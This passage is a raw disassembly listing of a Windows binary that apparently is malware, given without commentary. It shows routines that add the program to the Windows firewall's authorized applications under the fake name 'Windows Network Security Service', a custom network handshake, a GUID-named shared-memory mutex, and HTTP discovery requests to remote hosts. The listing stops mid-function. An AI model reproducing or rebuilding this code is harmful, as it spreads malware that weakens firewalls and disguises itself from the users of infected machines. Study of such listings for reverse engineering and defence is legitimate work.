push eax push dword ptr [ebx+46Ch] push [ebp+arg_8] call sub_449A11 add esp, 0Ch loc_444072: ; CODE XREF: sub_443ECD+17Cj ; sub_443ECD+191j mov eax, [ebp+var_4] loc_444075: ; CODE XREF: sub_443ECD+2Cj ; sub_443ECD+5Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443ECD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44407C proc near ; CODE XREF: sub_444272+18p ; DMN1:004461CEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_443ECD add esp, 14h pop ebp retn sub_44407C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444097 proc near ; CODE XREF: DMN1:004460C6p var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 80h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] lea edi, [ebp+var_80] lea edi, [ebp+var_80] mov word ptr [edi], 1 add edi, 2 mov word ptr [edi], 10h add edi, 2 and dword ptr [edi], 0 add edi, 4 mov ax, [ebp+arg_4] mov [edi], ax add edi, 4 or esi, 1000h mov ax, si mov [edi], ax add edi, 2 mov word ptr [edi], 40h add edi, 2 mov word ptr [edi], 20h add edi, 2 push 40h lea eax, [ebx+4] push eax push edi call sub_449A11 add esp, 0Ch add edi, 40h push 20h lea eax, [ebx+44h] push eax push edi call sub_449A11 add esp, 0Ch add edi, 20h push 0 lea eax, [ebp+var_80] mov edx, edi sub edx, eax push edx lea eax, [ebp+var_80] push eax push 1 push ebx call sub_443DFB add esp, 14h pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_444097 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi lea ebx, [ebp-80h] push 0 push 80h lea eax, [ebp-80h] push eax lea eax, [ebp-84h] push eax push dword ptr [ebp+8] call sub_443ECD add esp, 14h mov esi, eax cmp word ptr [ebp-84h], 1 jnz short loc_44416F cmp esi, 0Ah jge short loc_44419C loc_44416F: ; CODE XREF: DMN1:00444168j cmp esi, 0Ah jge short loc_444181 push offset aHandshakeRecvE ; "Handshake: recv() error\n" call nullsub_4 pop ecx jmp short loc_444195 ; --------------------------------------------------------------------------- loc_444181: ; CODE XREF: DMN1:00444172j movzx eax, word ptr [ebp-84h] push eax push offset aHandshakeBadPa ; "Handshake: bad packed (%i)\n" call nullsub_4 pop ecx pop ecx loc_444195: ; CODE XREF: DMN1:0044417Fj xor eax, eax jmp loc_444250 ; --------------------------------------------------------------------------- loc_44419C: ; CODE XREF: DMN1:0044416Dj lea ebx, [ebp-80h] cmp word ptr [ebx], 1 jz short loc_4441BC movzx eax, word ptr [ebx] push eax push offset aHandshakeBadVe ; "Handshake: bad version (%i)\n" call nullsub_4 pop ecx pop ecx xor eax, eax jmp loc_444250 ; --------------------------------------------------------------------------- loc_4441BC: ; CODE XREF: DMN1:004441A3j add ebx, 2 mov edx, [ebp+0Ch] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 add ebx, 4 mov edx, [ebp+10h] mov ax, [ebx] mov [edx], ax add ebx, 4 mov edx, [ebp+14h] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 mov ax, [ebx] mov [ebp-82h], ax add ebx, 2 cmp word ptr [ebp-82h], 40h jz short loc_4441FF xor eax, eax jmp short loc_444250 ; --------------------------------------------------------------------------- loc_4441FF: ; CODE XREF: DMN1:004441F9j mov di, [ebx] add ebx, 2 cmp di, 20h jz short loc_44420F xor eax, eax jmp short loc_444250 ; --------------------------------------------------------------------------- loc_44420F: ; CODE XREF: DMN1:00444209j sub esi, 10h movzx eax, word ptr [ebp-82h] movzx edx, di add eax, edx cmp esi, eax jge short loc_444226 xor eax, eax jmp short loc_444250 ; --------------------------------------------------------------------------- loc_444226: ; CODE XREF: DMN1:00444220j push 40h push ebx mov eax, [ebp+8] add eax, 4 push eax call sub_449A11 add esp, 0Ch add ebx, 40h push 20h push ebx mov eax, [ebp+8] add eax, 44h push eax call sub_449A11 add esp, 0Ch xor eax, eax inc eax loc_444250: ; CODE XREF: DMN1:00444197j ; DMN1:004441B7j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 1 lea eax, [ebp+0Ch] push eax push 29Ah push dword ptr [ebp+8] call sub_443EB0 add esp, 10h pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444272 proc near ; CODE XREF: DMN1:004460EEp ; DMN1:004461A5p var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov [ebp+var_2], 0 push 1 lea eax, [ebp+var_2] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_44407C add esp, 10h mov ebx, eax cmp [ebp+var_4], 29Ah jnz short loc_4442A1 cmp ebx, 1 jz short loc_4442A6 loc_4442A1: ; CODE XREF: sub_444272+28j or eax, 0FFFFFFFFh jmp short loc_4442AA ; --------------------------------------------------------------------------- loc_4442A6: ; CODE XREF: sub_444272+2Dj movzx eax, [ebp+var_2] loc_4442AA: ; CODE XREF: sub_444272+32j pop ebx mov esp, ebp pop ebp retn sub_444272 endp ; =============== S U B R O U T I N E ======================================= sub_4442AF proc near ; CODE XREF: sub_448AD1+3Ap push ebx push 10h call sub_443369 pop ecx mov ebx, eax pop ebx retn sub_4442AF endp ; =============== S U B R O U T I N E ======================================= sub_4442BC proc near ; CODE XREF: DMN1:004442F5p ; DMN1:00444500p ... arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_4442E7 mov esi, [ebx+4] jmp short loc_4442D8 ; --------------------------------------------------------------------------- loc_4442CC: ; CODE XREF: sub_4442BC+1Ej mov edi, esi mov esi, [esi+8] push edi call sub_443397 pop ecx loc_4442D8: ; CODE XREF: sub_4442BC+Ej test esi, esi jnz short loc_4442CC and dword ptr [ebx], 0 and dword ptr [ebx+4], 0 and dword ptr [ebx+8], 0 loc_4442E7: ; CODE XREF: sub_4442BC+9j pop edi pop esi pop ebx retn sub_4442BC endp ; --------------------------------------------------------------------------- push ebx mov ebx, [esp+8] test ebx, ebx jz short loc_444302 push ebx call sub_4442BC pop ecx push ebx call sub_443397 pop ecx loc_444302: ; CODE XREF: DMN1:004442F2j pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_444304 proc near ; CODE XREF: DMN1:0044669Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx mov ecx, [esp+4+arg_4] mov bx, [esp+4+arg_8] mov eax, [esp+4+arg_0] mov edx, [eax+4] jmp short loc_44432B ; --------------------------------------------------------------------------- loc_444317: ; CODE XREF: sub_444304+29j cmp [edx+4], ecx jnz short loc_444328 test bx, bx jz short loc_444326 cmp [edx], bx jnz short loc_444328 loc_444326: ; CODE XREF: sub_444304+1Bj jmp short loc_44432F ; --------------------------------------------------------------------------- loc_444328: ; CODE XREF: sub_444304+16j ; sub_444304+20j mov edx, [edx+8] loc_44432B: ; CODE XREF: sub_444304+11j test edx, edx jnz short loc_444317 loc_44432F: ; CODE XREF: sub_444304:loc_444326j mov eax, edx pop ebx retn sub_444304 endp ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push 14h call sub_443369 pop ecx mov esi, eax mov eax, [ebx+4] mov [esi+8], eax mov [ebx+4], esi cmp dword ptr [ebx], 0 jnz short loc_444353 mov [ebx], esi loc_444353: ; CODE XREF: DMN1:0044434Fj inc dword ptr [ebx+8] mov eax, [esp+10h] mov [esi+4], eax mov ax, [esp+14h] mov [esi], ax mov eax, esi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_44436A proc near ; CODE XREF: DMN1:00444517p ; sub_445EA7+43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi mov ebx, [esp+8+arg_0] push 14h call sub_443369 pop ecx mov esi, eax cmp dword ptr [ebx], 0 jz short loc_444388 mov edx, [ebx] mov [edx+8], esi mov [ebx], esi jmp short loc_44438D ; --------------------------------------------------------------------------- loc_444388: ; CODE XREF: sub_44436A+13j mov [ebx], esi mov [ebx+4], esi loc_44438D: ; CODE XREF: sub_44436A+1Cj inc dword ptr [ebx+8] mov eax, [esp+8+arg_4] mov [esi+4], eax mov ax, [esp+8+arg_8] mov [esi], ax mov eax, esi pop esi pop ebx retn sub_44436A endp ; =============== S U B R O U T I N E ======================================= sub_4443A4 proc near ; CODE XREF: DMN1:004444BBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi push edi mov bx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_4443D1 ; --------------------------------------------------------------------------- loc_4443B7: ; CODE XREF: sub_4443A4+2Fj mov eax, [esp+0Ch+arg_4] cmp [esi+4], eax jnz short loc_4443CC test bx, bx jz short loc_4443CA cmp [esi], bx jnz short loc_4443CC loc_4443CA: ; CODE XREF: sub_4443A4+1Fj jmp short loc_4443D5 ; --------------------------------------------------------------------------- loc_4443CC: ; CODE XREF: sub_4443A4+1Aj ; sub_4443A4+24j mov edi, esi mov esi, [esi+8] loc_4443D1: ; CODE XREF: sub_4443A4+11j test esi, esi jnz short loc_4443B7 loc_4443D5: ; CODE XREF: sub_4443A4:loc_4443CAj test esi, esi jnz short loc_4443DD xor eax, eax jmp short loc_444423 ; --------------------------------------------------------------------------- loc_4443DD: ; CODE XREF: sub_4443A4+33j test edi, edi jz short loc_4443F7 mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_4443EF mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_4443EF: ; CODE XREF: sub_4443A4+43j mov eax, [esi+8] mov [edi+8], eax jmp short loc_444412 ; --------------------------------------------------------------------------- loc_4443F7: ; CODE XREF: sub_4443A4+3Bj mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_444412 mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_444412: ; CODE XREF: sub_4443A4+51j ; sub_4443A4+65j mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_443397 pop ecx xor eax, eax inc eax loc_444423: ; CODE XREF: sub_4443A4+37j pop edi pop esi pop ebx retn sub_4443A4 endp ; =============== S U B R O U T I N E ======================================= sub_444427 proc near ; CODE XREF: DMN1:004444E6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi mov ebx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_444449 ; --------------------------------------------------------------------------- loc_444439: ; CODE XREF: sub_444427+24j mov eax, [esp+0Ch+arg_4] sub eax, [esi+10h] cmp eax, ebx jnb short loc_44444D mov edi, esi mov esi, [esi+8] loc_444449: ; CODE XREF: sub_444427+10j test esi, esi jnz short loc_444439 loc_44444D: ; CODE XREF: sub_444427+1Bj test esi, esi jnz short loc_444455 xor eax, eax jmp short loc_44449B ; --------------------------------------------------------------------------- loc_444455: ; CODE XREF: sub_444427+28j test edi, edi jz short loc_44446F mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_444467 mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_444467: ; CODE XREF: sub_444427+38j mov eax, [esi+8] mov [edi+8], eax jmp short loc_44448A ; --------------------------------------------------------------------------- loc_44446F: ; CODE XREF: sub_444427+30j mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_44448A mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_44448A: ; CODE XREF: sub_444427+46j ; sub_444427+5Aj mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_443397 pop ecx xor eax, eax inc eax loc_44449B: ; CODE XREF: sub_444427+2Cj pop edi pop esi pop ebx retn sub_444427 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov si, [ebp+10h] xor edi, edi jmp short loc_4444B3 ; --------------------------------------------------------------------------- loc_4444B0: ; CODE XREF: DMN1:004444C5j xor edi, edi inc edi loc_4444B3: ; CODE XREF: DMN1:004444AEj movzx eax, si push eax push ebx push dword ptr [ebp+8] call sub_4443A4 add esp, 0Ch test eax, eax jnz short loc_4444B0 mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov esi, [ebp+10h] xor edi, edi jmp short loc_4444E1 ; --------------------------------------------------------------------------- loc_4444DE: ; CODE XREF: DMN1:004444F0j xor edi, edi inc edi loc_4444E1: ; CODE XREF: DMN1:004444DCj push esi push ebx push dword ptr [ebp+8] call sub_444427 add esp, 0Ch test eax, eax jnz short loc_4444DE mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push ebx call sub_4442BC pop ecx mov eax, [esp+10h] mov esi, [eax+4] jmp short loc_444522 ; --------------------------------------------------------------------------- loc_44450F: ; CODE XREF: DMN1:00444524j movzx eax, word ptr [esi] push eax push dword ptr [esi+4] push ebx call sub_44436A add esp, 0Ch mov esi, [esi+8] loc_444522: ; CODE XREF: DMN1:0044450Dj test esi, esi jnz short loc_44450F pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444529 proc near ; CODE XREF: sub_4445B7+98p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E24 test eax, eax jnz short loc_44457B push [ebp+arg_C] call sub_449A31 pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E28 push [ebp+var_4] call dword_411E2C loc_44457B: ; CODE XREF: sub_444529+29j mov esp, ebp pop ebp retn sub_444529 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44457F proc near ; CODE XREF: DMN1:0044469Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax lea eax, [ebp+var_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E30 test eax, eax jnz short loc_4445B3 push [ebp+arg_8] push [ebp+var_4] call dword_411E34 push [ebp+var_4] call dword_411E2C loc_4445B3: ; CODE XREF: sub_44457F+1Dj mov esp, ebp pop ebp retn sub_44457F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4445B7 proc near ; CODE XREF: sub_448AD1:loc_448D02p var_20A = byte ptr -20Ah var_105 = byte ptr -105h push ebp mov ebp, esp sub esp, 20Ch push ebx push 104h lea eax, [ebp+var_105] push eax push 0 call dword_411CDC mov ebx, eax mov [ebp+ebx+var_105], 0 cmp [ebp+var_105], 0 jz short loc_444657 lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax call sub_449A51 pop ecx pop ecx push dword_4128A4 lea eax, [ebp+var_105] push eax call sub_449A71 pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_105] push eax call sub_449A71 pop ecx pop ecx push offset aWindowsNetwork ; "Windows Network Security Service" lea eax, [ebp+var_105] push eax call sub_449A71 pop ecx pop ecx lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_444529 add esp, 10h loc_444657: ; CODE XREF: sub_4445B7+2Fj pop ebx mov esp, ebp pop ebp retn sub_4445B7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 108h push ebx push 104h lea eax, [ebp-105h] push eax push 0 call dword_411CDC mov ebx, eax mov byte ptr [ebp+ebx-105h], 0 cmp byte ptr [ebp-105h], 0 jz short loc_4446A6 lea eax, [ebp-105h] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_44457F add esp, 0Ch loc_4446A6: ; CODE XREF: DMN1:0044468Bj pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4446AB proc near ; CODE XREF: sub_4446FD+2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx cmp dword_411008, 0 jnz short loc_4446F8 push 14h push 40h call dword_411CE0 mov ebx, eax push 1 push ebx call dword_411E38 push 0 push 0 push 1 push ebx call dword_411E3C mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], 1 mov dword_411008, 1 loc_4446F8: ; CODE XREF: sub_4446AB+Ej pop ebx mov esp, ebp pop ebp retn sub_4446AB endp ; =============== S U B R O U T I N E ======================================= sub_4446FD proc near ; CODE XREF: DMN1:00445FDFp ; sub_448AD1+23Fp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi call sub_4446AB push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 100h push 0 push 4 push offset dword_412928 push 0FFFFFFFFh call dword_411CE4 mov ebx, eax test eax, eax jz short loc_444767 call dword_411CE8 cmp eax, 0B7h jz short loc_444765 push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC mov esi, eax test esi, esi jz short loc_444765 mov ax, [esp+8+arg_0] mov [esi], ax mov ax, [esp+8+arg_4] mov [esi+2], ax push esi call dword_411CF0 loc_444765: ; CODE XREF: sub_4446FD+36j ; sub_4446FD+4Ej mov eax, ebx loc_444767: ; CODE XREF: sub_4446FD+29j pop esi pop ebx retn sub_4446FD endp ; =============== S U B R O U T I N E ======================================= sub_44476A proc near ; CODE XREF: DMN1:00445FFBp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi push edi xor edi, edi push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF4 mov ebx, eax test eax, eax jz short loc_4447C3 push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC mov esi, eax test esi, esi jz short loc_4447BA mov ax, [esp+0Ch+arg_0] mov [esi], ax mov ax, [esp+0Ch+arg_4] mov [esi+2], ax push esi call dword_411CF0 xor edi, edi inc edi loc_4447BA: ; CODE XREF: sub_44476A+33j push ebx call dword_411CF8 mov eax, edi loc_4447C3: ; CODE XREF: sub_44476A+1Bj pop edi pop esi pop ebx retn sub_44476A endp ; =============== S U B R O U T I N E ======================================= sub_4447C7 proc near ; CODE XREF: DMN1:00446D0Fp arg_0 = dword ptr 4 push ebx push esi push edi xor si, si push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF4 mov ebx, eax test ebx, ebx jnz short loc_4447EC mov eax, 0FFFFh jmp short loc_44482E ; --------------------------------------------------------------------------- loc_4447EC: ; CODE XREF: sub_4447C7+1Cj push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC mov edi, eax test edi, edi jz short loc_444824 mov si, [edi] test si, si jz short loc_444819 mov edx, [esp+0Ch+arg_0] mov ax, [edi+2] mov [edx], ax jmp short loc_44481D ; --------------------------------------------------------------------------- loc_444819: ; CODE XREF: sub_4447C7+43j mov si, 0FFFFh loc_44481D: ; CODE XREF: sub_4447C7+50j push edi call dword_411CF0 loc_444824: ; CODE XREF: sub_4447C7+3Bj push ebx call dword_411CF8 movzx eax, si loc_44482E: ; CODE XREF: sub_4447C7+23j pop edi pop esi pop ebx retn sub_4447C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444832 proc near ; CODE XREF: sub_4448CA+2Dp ; sub_444E23+23Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_449A31 pop ecx mov edi, eax push [ebp+var_4] call sub_449A31 pop ecx mov ebx, eax jmp short loc_444876 ; --------------------------------------------------------------------------- loc_444858: ; CODE XREF: sub_444832+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411CFC cmp eax, 2 jnz short loc_444874 mov eax, esi jmp short loc_44487C ; --------------------------------------------------------------------------- loc_444874: ; CODE XREF: sub_444832+3Cj inc esi dec edi loc_444876: ; CODE XREF: sub_444832+24j cmp edi, ebx jge short loc_444858 xor eax, eax loc_44487C: ; CODE XREF: sub_444832+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_444832 endp ; =============== S U B R O U T I N E ======================================= sub_444883 proc near ; CODE XREF: sub_4448CA+1C4p ; sub_444BB7+12Cp arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] call dword_411CC4 lea esi, [eax+7D0h] loc_444895: ; CODE XREF: sub_444883+40j push ebx call sub_443863 pop ecx test eax, eax jle short loc_4448A5 xor eax, eax inc eax jmp short loc_4448C7 ; --------------------------------------------------------------------------- loc_4448A5: ; CODE XREF: sub_444883+1Bj push offset a_ ; "." call sub_449641 pop ecx push 12Ch call dword_411D00 call dword_411CC4 cmp eax, esi jb short loc_444895 xor eax, eax loc_4448C7: ; CODE XREF: sub_444883+20j pop esi pop ebx retn sub_444883 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4448CA proc near ; CODE XREF: sub_444E23+337p var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 468h push ebx push esi push edi push 10h push 0 lea eax, [ebp+var_5C] push eax call sub_4499B1 add esp, 0Ch mov [ebp+var_5C], 2 xor di, di push offset aHttp ; "http://" push [ebp+arg_0] call sub_444832 pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_44490C xor eax, eax jmp loc_444BB0 ; --------------------------------------------------------------------------- loc_44490B: ; CODE XREF: sub_4448CA+4Aj inc ebx loc_44490C: ; CODE XREF: sub_4448CA+38j mov al, [ebx] test al, al jz short loc_444916 cmp al, 2Fh jnz short loc_44490B loc_444916: ; CODE XREF: sub_4448CA+46j jmp short loc_444919 ; --------------------------------------------------------------------------- loc_444918: ; CODE XREF: sub_4448CA+57j inc ebx loc_444919: ; CODE XREF: sub_4448CA:loc_444916j mov al, [ebx] test al, al jz short loc_444923 cmp al, 2Fh jz short loc_444918 loc_444923: ; CODE XREF: sub_4448CA+53j xor esi, esi jmp short loc_44493B ; --------------------------------------------------------------------------- loc_444927: ; CODE XREF: sub_4448CA+7Dj cmp esi, 3Fh jb short loc_444933 xor eax, eax jmp loc_444BB0 ; --------------------------------------------------------------------------- loc_444933: ; CODE XREF: sub_4448CA+60j mov al, [ebx] mov [ebp+esi+var_40], al inc esi inc ebx loc_44493B: ; CODE XREF: sub_4448CA+5Bj mov al, [ebx] test al, al jz short loc_444949 cmp al, 3Ah jz short loc_444949 cmp al, 2Fh jnz short loc_444927 loc_444949: ; CODE XREF: sub_4448CA+75j ; sub_4448CA+79j mov [ebp+esi+var_40], 0 cmp byte ptr [ebx], 3Ah jz short loc_44495A xor eax, eax jmp loc_444BB0 ; --------------------------------------------------------------------------- loc_44495A: ; CODE XREF: sub_4448CA+87j inc ebx cmp byte ptr [ebx], 0 jnz short loc_444981 xor eax, eax jmp loc_444BB0 ; --------------------------------------------------------------------------- loc_444967: ; CODE XREF: sub_4448CA+C3j movzx eax, di lea eax, [eax+eax*4] add eax, eax mov di, ax movzx eax, di movsx edx, byte ptr [ebx] sub edx, 30h add eax, edx mov di, ax inc ebx loc_444981: ; CODE XREF: sub_4448CA+94j mov al, [ebx] test al, al jz short loc_44498F cmp al, 30h jl short loc_44498F cmp al, 39h jle short loc_444967 loc_44498F: ; CODE XREF: sub_4448CA+BBj ; sub_4448CA+BFj cmp di, 1 jnb short loc_44499D xor eax, eax jmp loc_444BB0 ; --------------------------------------------------------------------------- loc_44499C: ; CODE XREF: sub_4448CA+DBj inc ebx loc_44499D: ; CODE XREF: sub_4448CA+C9j mov al, [ebx] test al, al jz short loc_4449A7 cmp al, 2Fh jnz short loc_44499C loc_4449A7: ; CODE XREF: sub_4448CA+D7j cmp byte ptr [ebx], 0 jnz short loc_4449B3 xor eax, eax jmp loc_444BB0 ; --------------------------------------------------------------------------- loc_4449B3: ; CODE XREF: sub_4448CA+E0j lea eax, [ebp+var_40] push eax call sub_4490E9 mov [ebp+var_58], eax movzx eax, di push eax call sub_4490B9 mov [ebp+var_5A], ax movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscoveryR ; "HTTP discovery request: [%s:%i]...\n" call sub_449641 add esp, 0Ch push 6 push 1 push 2 call sub_44909B mov [ebp+var_44], eax cmp eax, 0FFFFFFFFh jnz short loc_4449FA and [ebp+var_44], 0 loc_4449FA: ; CODE XREF: sub_4448CA+12Aj cmp [ebp+var_44], 0 jnz short loc_444A07 xor eax, eax jmp loc_444BB0 ; --------------------------------------------------------------------------- loc_444A07: ; CODE XREF: sub_4448CA+134j lea eax, [ebp+var_40] push eax call sub_4490E9 movzx edx, di push edx push eax push [ebp+var_44] call sub_443888 add esp, 0Ch test eax, eax jnz short loc_444A34 push [ebp+var_44] call sub_4437E3 pop ecx xor eax, eax jmp loc_444BB0 ; --------------------------------------------------------------------------- loc_444A34: ; CODE XREF: sub_4448CA+158j movzx eax, di push eax lea eax, [ebp+var_40] push eax push ebx push offset aGetSHttp1_1Hos ; "GET %s HTTP/1.1\r\nHOST: %s:%i\r\nACCEPT-LA"... lea eax, [ebp+var_45C] push eax call sub_4496A1 add esp, 14h lea eax, [ebp+var_45C] push eax call sub_449A31 pop ecx mov [ebp+var_48], eax push [ebp+var_48] lea eax, [ebp+var_45C] push eax push [ebp+var_44] call sub_443AA8 add esp, 0Ch cmp eax, [ebp+var_48] jz short loc_444A8B push [ebp+var_44] call sub_4437E3 pop ecx xor eax, eax jmp loc_444BB0 ; --------------------------------------------------------------------------- loc_444A8B: ; CODE XREF: sub_4448CA+1AFj push [ebp+var_44] call sub_444883 pop ecx push 10000h call sub_443369 pop ecx mov [ebp+var_4C], eax push 0FFFFh push [ebp+var_4C] push [ebp+var_44] call sub_443A34 add esp, 0Ch mov [ebp+var_48], eax test eax, eax jnz short loc_444AF3 push [ebp+var_44] call sub_443863 pop ecx mov [ebp+var_468], eax cmp eax, 0FFFFh jle short loc_444ADC mov [ebp+var_468], 0FFFFh loc_444ADC: ; CODE XREF: sub_4448CA+206j push [ebp+var_468] push [ebp+var_4C] push [ebp+var_44] call sub_4439FD add esp, 0Ch mov [ebp+var_48], eax loc_444AF3: ; CODE XREF: sub_4448CA+1F0j push [ebp+var_48] movzx eax, di push eax lea eax, [ebp+var_40] push eax push offset aHttpDiscover_0 ; "HTTP discovery request [%s:%i]: receive"... call sub_449641 add esp, 10h cmp [ebp+var_48], 1 jge short loc_444B2A push [ebp+var_4C] call sub_443397 pop ecx push [ebp+var_44] call sub_4437E3 pop ecx xor eax, eax jmp loc_444BB0 ; --------------------------------------------------------------------------- loc_444B2A: ; CODE XREF: sub_4448CA+245j push offset asc_40F612 ; "\n" push [ebp+var_4C] call sub_449AA1 pop ecx pop ecx mov [ebp+var_460], eax test eax, eax jnz short loc_444B59 push [ebp+var_4C] call sub_443397 pop ecx push [ebp+var_44] call sub_4437E3 pop ecx xor eax, eax jmp short loc_444BB0 ; --------------------------------------------------------------------------- loc_444B59: ; CODE XREF: sub_4448CA+277j push offset a200 ; "200" push [ebp+var_4C] call sub_449AA1 pop ecx pop ecx mov [ebp+var_464], eax test eax, eax jz short loc_444B7A cmp eax, [ebp+var_460] jbe short loc_444B90 loc_444B7A: ; CODE XREF: sub_4448CA+2A6j push [ebp+var_4C] call sub_443397 pop ecx push [ebp+var_44] call sub_4437E3 pop ecx xor eax, eax jmp short loc_444BB0 ; --------------------------------------------------------------------------- loc_444B90: ; CODE XREF: sub_4448CA+2AEj push [ebp+var_44] call sub_4437E3 pop ecx lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_449A51 pop ecx pop ecx mov edx, [ebp+arg_8] mov [edx], di mov eax, [ebp+var_4C] loc_444BB0: ; CODE XREF: sub_4448CA+3Cj ; sub_4448CA+64j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4448CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444BB7 proc near ; CODE XREF: sub_444E23+50Fp ; sub_444E23+53Dp var_2014 = dword ptr -2014h var_2010 = dword ptr -2010h 